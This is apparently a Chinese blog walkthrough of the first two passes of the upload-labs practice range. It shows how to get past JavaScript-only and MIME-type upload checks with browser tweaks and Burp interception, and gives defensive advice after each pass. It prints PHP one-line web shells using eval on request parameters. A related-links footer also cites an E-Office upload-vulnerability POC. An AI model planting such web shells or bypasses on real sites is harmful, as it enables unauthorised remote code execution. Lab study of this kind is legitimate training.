首页 > 其他分享 >upload通关

upload通关

时间:2023-09-05 12:11:42浏览次数:52  
标签:文件 验证 前端 upload 用户 文件类型 上传 通关

靶场下载地址:

https://github.com/c0ny1/upload-labs

靶场介绍

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
image

image

pass-01(前端验证)

绕过原理

Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于不法分子可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

源代码解析

查看源代码,发现这是一段前端验证,定义了一个名为checkFile()的函数,用于验证文件上传字,只允许上传的文件类型只有 .jpg、.png、.gif
image

这一关一共有四个方法。

方法一:禁用JS

右键选择 检查>调试器>禁用JS
image

上传一个php文件,发现上传成功:
image

image
或者上传一句话木马,使用蚁剑连接: image
查看upload目录下的upload目录,看是否有上传的文件 image

phpinfo.php 文件内容:

<?php phpinfo(); @eval($_POST['root']); ?>

shell.php 蚁剑一句话木马:

<?php eval($_REQUEST[root])?>

方法二:删除checkFile()函数

将checkFile()函数删除,即可上传文件:
image

方法三:增加.php

在源代码中增加.php,即可成功上传:
image

方法四:burp抓包修改后缀

将需要上传的文件后缀名修改为合法名,使用burp抓包后将后缀名修改回.php,即可成功上传:
image


前端验证的危害

前端验证是一种在用户输入数据提交到服务器之前,在客户端进行的验证机制。虽然前端验证有一些限制和潜在的危害,但它仍然是非常重要的。下面是一些前端验证可能面临的危害和注意事项:


安全性:前端验证只是一种辅助手段,并不能完全防止恶意用户绕过验证发送恶意数据到服务器。因此,在进行重要操作或敏感数据交互时,后端验证仍然是必不可少的。


可信度:前端验证是由客户端执行的,而客户端代码是可以被用户修改或篡改的。因此,不应该仅依赖前端验证来保证数据的完整性和一致性。


用户体验:过于严格的前端验证可能会给用户带来困惑和不便,因为它们可能会剥夺用户合理的输入选择。因此,在设计前端验证时,需要权衡安全性和用户友好性之间的平衡。


验证代码的维护:前端验证通常是在多个页面或组件中使用的,如果验证逻辑需要更新或修复,可能需要在多个地方进行修改,这可能增加维护的工作量。


总的来说,前端验证在提高用户体验和减少无效数据提交方面发挥了重要作用。但为了确保数据的安全性和完整性,前端验证应与后端验证结合使用,并且不能依赖于前端验证的结果,而应在服务器端对输入数据进行严格的验证和验证。

如何防止前端验证绕过

后端验证:始终对从客户端提交的数据进行后端验证。前端验证只是额外的一道防线,不应该依赖于它来保证数据的完整性和安全性。后端验证可以在接收到数据后,对其进行更详细和严格的验证,并对潜在的安全漏洞进行处理。

  • 输入过滤和转义:在后端验证的过程中,可以使用安全的输入过滤和转义来处理用户输入。这可以防止恶意内容被注入到应用程序中,从而保护应用程序和用户的安全。
  • 授权和身份验证:考虑使用授权和身份验证来限制用户对敏感操作或数据的访问。这可以确保只有经过身份验证的用户才能执行某些操作,并且只有具有适当权限的用户才能访问敏感数据。
  • 安全开发实践:在应用程序的开发过程中,始终遵循安全开发实践和最佳原则。这包括对代码进行安全审查、使用最新的安全库和框架、定期更新和修复安全漏洞等。
  • 教育用户:教育用户在使用应用程序时要注意安全性,例如避免点击可疑链接、不共享敏感信息等。提供应用程序的用户培训可以帮助他们了解潜在的风险,并采取适当的预防措施。

通过结合这些措施,可以提高应用程序的整体安全性,减少前端验证的风险,并从多个层面来保护应用程序和用户的安全。

pass-02(MIME验证)

源代码解析

查看源代码:
image

发现代码中使用如下条件语句检查文件的MIME类型是否为合法的图片类型:

if (($_FILES['upload_file']['type'] == 'image/jpeg') || 
    ($_FILES['upload_file']['type'] == 'image/png') || 
    ($_FILES['upload_file']['type'] == 'image/gif'))

这个条件语句检查$_FILES['upload_file']['type']的值是否等于image/jpeg、image/png或image/gif,这些值代表了允许上传的文件类型。

如果文件的MIME类型符合要求,则执行相应的操作,例如将临时文件移动到最终的图片路径等。

如果文件的MIME类型不符合要求,则会给$msg变量赋值错误消息,指示文件类型不正确。

绕过原理

部分Web应用系统判定文件类型是通过content-type字段,不法分子可以通过抓包,将content-type字段改为常见的图片类型,如image/gif,从而绕过校验。

burp抓包修改content-typr

上传一个合法文件,使用burp进行抓包,content-type显示image/jpg:
image


再上传.php文件,同样使用burp进行抓包,发现 content-type显示的是application/octet-stream: image
将application/octet-stream修改为image/png,即可上传文件: image

如何防止MIME绕过

验证文件的真实类型:不仅仅依靠上传请求中的MIME类型来验证文件类型,同时还需要对文件进行额外的检查,例如使用服务器端工具或库来验证文件的真实类型。


  • 使用白名单:只允许上传特定的受信任文件类型,而不是依赖黑名单的方式来禁止某些文件类型。这样可以确保只有明确允许的文件类型被上传。
  • 限制文件扩展名:不仅根据文件扩展名来验证文件类型,而是根据文件内容或其他可靠方法来确定文件类型。
  • 对上传的文件进行严格处理:在服务器端对上传文件进行进一步的验证和过滤,例如检查文件内容是否符合预期的文件类型以及是否包含恶意内容。

通过结合这些措施,可以增加服务器端对上传文件类型的验证的可靠性,提高应用程序的安全性,从而防止MIME绕过攻击。

pass-03(黑名单验证,特殊后缀)

标签:文件,验证,前端,upload,用户,文件类型,上传,通关
From: https://www.cnblogs.com/imawuya/p/17679270.html

相关文章

  • 泛微E-Office UploadFile.php任意文件上传漏洞 CNVD-2021-49104
    漏洞描述在/general/index/UploadFile.php中上传文件过滤不严格导致允许无限制地上传文件,攻击者可以通过该漏洞直接获取网站权限漏洞复现fofa语法:app="泛微-EOffice"登录页面如下:POC:POST/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=H......
  • VueRouter使用详解(5000字通关大全)
    VueRouter是一个官方的路由管理器,它可以让我们在Vue应用中实现单页面应用(SPA)的效果,即通过改变URL而不刷新页面来显示不同的内容。VueRouter可以让我们定义多个路由,每个路由对应一个组件,当URL匹配到某个路由时,就会渲染对应的组件。VueRouter还提供了很多高级功能,如嵌套路由、动态......
  • 用appuploader生成发布证书和描述性文件
    之前用AppCan平台开发了一个应用,平台可以同时生成安卓版和苹果版,想着也把这应用上架到AppStore试试,于是找同学借了个苹果开发者账号,但没那么简单,还要用到Mac电脑的钥匙串申请发布证书和上传ipa,可没有Mac,同学的大老远的也不方便拿过来用,然后捣鼓了个虚拟机,卡的我怀疑人生,后面找到了......
  • 巧妙利用Appuploader上架IPA方法详解
    Appuploader可以辅助在Windows、linux或mac系统直接申请iOS证书p12,及上传ipa到AppStore。方便在没有苹果电脑情况下上架IPA操作。一、下载安装iOS上架辅助软件Appuploader下载地址:下载软件包后解压直接使用,无需安装。二、申请iOS发布证书(p12文件)发布证书用于上架,证书有p12及mo......
  • iOS上架App Store之Appuploader制作描述文件和证书
    公司采用AppCan平台开发了移动端应用,由于公司没有配备苹果电脑,所以为了上线iosAPP查了很多资料,装了个虚拟机卡的要死,操作一步卡死半天,严重影响效率,最后终于发现了一个很好用的工具AppUploader。终于解决了这个问题。不用苹果电脑直接在windows下上传ipa到appstore,废话不多说直接讲......
  • 百度WebUploader实现大文件上传下载
    ​ 文件夹数据库处理逻辑public class DbFolder{    JSONObjectroot;       public DbFolder()    {        this.root= new JSONObject();        this.root.put("f_id", "");        this.root.put("f_nameLoc", "......
  • dvwa xss通关
    反射型XSS通关low难度选择难度:直接用下面JS代码尝试:<script>alert(/xss/)</script>通关成功:medium难度直接下面代码尝试后失败<script>alert(/xss/)</script>发现这段代码直接被输出:尝试修改<script>标签的字母大小写,做大小写绕过:<scRipt>alert(/xss/)</scRipt>通关成功:high难度查......
  • xsschallenge通关(11-15)
    level11老规矩,先查看源码,做代码审计:<?phpini_set("display_errors",0);$str=$_GET["keyword"];$str00=$_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=st......
  • xsschallenge通关(1-10)
    level1这一关很简单,标准的xss注入,打开hackbar,输入<script>alert(/xss/)</script>点击EXECUTE,通关!level2这一关有一个搜索框,输入<script>alert(/xss/)</script>发现直接将这段JS代码当做HTML实体,即普通字符查看源代码,发现有htmlspecialchars()函数,会转换双引号、单引号和尖角号成H......
  • WebUploader实现大文件上传下载
    ​ASP.NET上传文件用FileUpLoad就可以,但是对文件夹的操作却不能用FileUpLoad来实现。下面这个示例便是使用ASP.NET来实现上传文件夹并对文件夹进行压缩以及解压。ASP.NET页面设计:TextBox和Button按钮。 ​编辑TextBox中需要自己受到输入文件夹的路径(包含文件夹),通过Button......